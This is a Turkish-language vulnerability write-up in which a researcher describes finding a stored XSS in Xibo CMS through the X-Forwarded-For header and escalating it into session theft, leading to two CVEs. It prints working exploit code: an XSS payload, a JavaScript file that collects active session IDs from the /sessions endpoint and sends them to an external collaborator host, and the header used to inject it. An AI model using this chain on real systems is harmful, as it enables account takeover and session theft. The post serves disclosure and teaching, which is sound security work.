Merhaba, bugün sizlerle ilk CVE'mi (Common Vulnerabilities and Exposures) elde etme yolculuğumu, sürecin nasıl ilerlediğini, süreç boyunca neler düşündüğümü ve amacım sadece bulduğum ilk zafiyetin etkisini artırmakken nasıl iki CVE elde ettiğimi paylaşmak istiyorum.
Umarım bu sizin için bilgilendirici ve eğlenceli bir yazı olur.
Bir süredir, kendimi geliştirmek için CMS(Content Management System)'ler üzerinde zafiyet araştırması yapıyordum. Xibo CMS ise incelediğim CMS'ler içinde hem kapsamlı işlevselliği hem de araştırmacıların iletişim kurarak CVE elde edebildiği bir CMS olduğu için ilgimi çekmişti.
⚠️ UYARI ⚠️
Bu blog yalnızca eğitim amaçlı oluşturulmuştur.
Uygulamada zafiyet aramaya başlamadan önce, uygulamayı anlamaya ve özelliklerini listelemeye başladım. "Oturumlar" ve "Raporlama" gibi ekranları incelediğimde, uygulamanın kullanıcı IP adreslerini logladığını fark ettim. Bu yüzden, kullanıcı girişi yaparken isteğime "X-Forwarded-For:1.1.1.1" başlığını eklersem uygulamanın benim IP adresimi 1.1.1.1 olarak kabul edip etmeyeceğini kontrol etmek istedim.

İsteğin ardından IP adreslerinin kaydedildiği ekranlardan biri olan "Oturumlar" ekranına ilerlediğimde loglara iki farklı IP adresinin kaydedildiğini fark ettim. Biri benim IP adresimdi, diğeri ise X-Forwarded-For başlığı ile verdiğim değer olan 1.1.1.1 değeriydi.

Bu noktada, X-Forwarded-For başlığını kullanarak XSS zafiyeti elde edip edemeyeceğimi test etmek istedim. Payload olarak <script>prompt(1)</script> kullandım ve oturumlar ekranına tekrar girdiğimde, 1 sayısını içeren bir pop-up görebildim.



CMS cookie'lere varsayılan olarak HTTPOnly özelliğini eklediği için, kullanıcı hesaplarını ele geçirmek ve bulgu seviyesini arttırmak için "document.cookie" fonksiyonunu kullanamıyordum.

Bulgu seviyemi arttırmak istiyordum ve bunun için takip etmem gereken iki adım vardı:
1 => Admin kullanıcısının hesabında XSS saldırısını gerçekleştirecek düşük seviyeli bir kullanıcı oluşturmalıydım.
2 => Bulduğum XSS zafiyetinden yaralanarak en çok zarar verebilecek ve bulgu seviyemi arttıracak senaryoyu üretmem gerekiyordu.


İkinci aşama için yönetici hesabını ele geçirmenin yollarını düşünürken, sistemde endpointler, işlevler gibi farklı parçaları inceledim. Bu araştırma sırasında, "Oturumlar" ekranına ilerlediğimde, "/sessions" uç noktasına bir istek gönderildiğini fark ettim.

HTTP yanıtında bulunan "isExpired" parametresinin değerinin 0 olması, aktif olan oturumları belirtiyordu, yani hedefim olan oturumlar bunlardı.


Kullanıcı hesaplarını ele geçirebilmek için öncelikle "/sessions" uç noktasına bir istek göndermeli, ardından HTTP yanıtını analiz ederek "isExpired" değeri 0 olan aktif oturumları ayırmalıydım. Bunun için aşağıdaki JavaScript kodunu oluşturdum ve c.js olarak kaydettim.
// "/sessions" uç noktasına istek gönderiliyor.
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://XIBO DOMAIN/sessions', true); //Zafiyetli uygulamanın URL'i
xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status === 200) {
// Aktif oturumları seçerek sessionId ve User-Agent değerlerini al
var jsonResponse = JSON.parse(xhr.responseText);
for (var i = 0; i < jsonResponse.data.length; i++) {
var session = jsonResponse.data[i];
if (session.isExpired === 0) {
var sessionId = session.sessionId;
var userAgent = session.userAgent;
sendSessionIds(sessionId, userAgent);
}
}
} else {
console.error('Bir hata oluştu:', xhr.status);
}
}
};
xhr.send();
// Session bilgilerini Burp Collaborator'a gönder
function sendSessionIds(sessionId, userAgent) {
var url = 'https://COLLABRATORDOMAIN/?sessionId=' +
encodeURIComponent(sessionId) +
'&userAgent=' +
encodeURIComponent(userAgent);
fetch(url)
.then(function(response) {
if (response.ok) {
console.log('Session ID ve User Agent başarıyla gönderildi.');
} else {
console.error('Gönderilirken bir hata oluştu:', response.status);
}
})
.catch(function(error) {
console.error('Bir hata oluştu:', error);
});
}
Zararlı kod içeren dosyamı oluşturduğuma göre artık düşük seviyeli kullanıcım ile dosyamın sistem tarafından çalıştırılmasını sağlamalıydım. X-Forwarded-For başlığının değerinin en fazla 29 karakter kabul etmesi nedeniyle "a.ngrok.pro" domain adresini kullandım.

Dosyayı sistemin çağırmasını sağlamak için düşük yetkili kullanıcı ile HTTP isteğime X-Forwarded-For: <script src=//a.ngrok.pro/c.js> başlığını ve değerini ekledim.

Ardından uygulamaya admin kullanıcısı olarak giriş yaptım. Kaynağı incelediğimde c.js dosyasının kaynağa yerleştiğini gördüm:

Collaborator'ıma gelen isteklerle oturumu açık olan kullanıcıların sessionId ve User-Agent bilgisini elde ettim:



Aşağıdaki videoda başka bir kullanıcının hesabında gerçekleştirdiğim isteği görebilirsiniz:
Timeline
CVE Referansları
Şimdilik hepsi bu kadar. Umarım beğenmiş ve faydalı bulmuşsunuzdur. Hoşça kalın, diğer yazılarımda görüşmek üzere.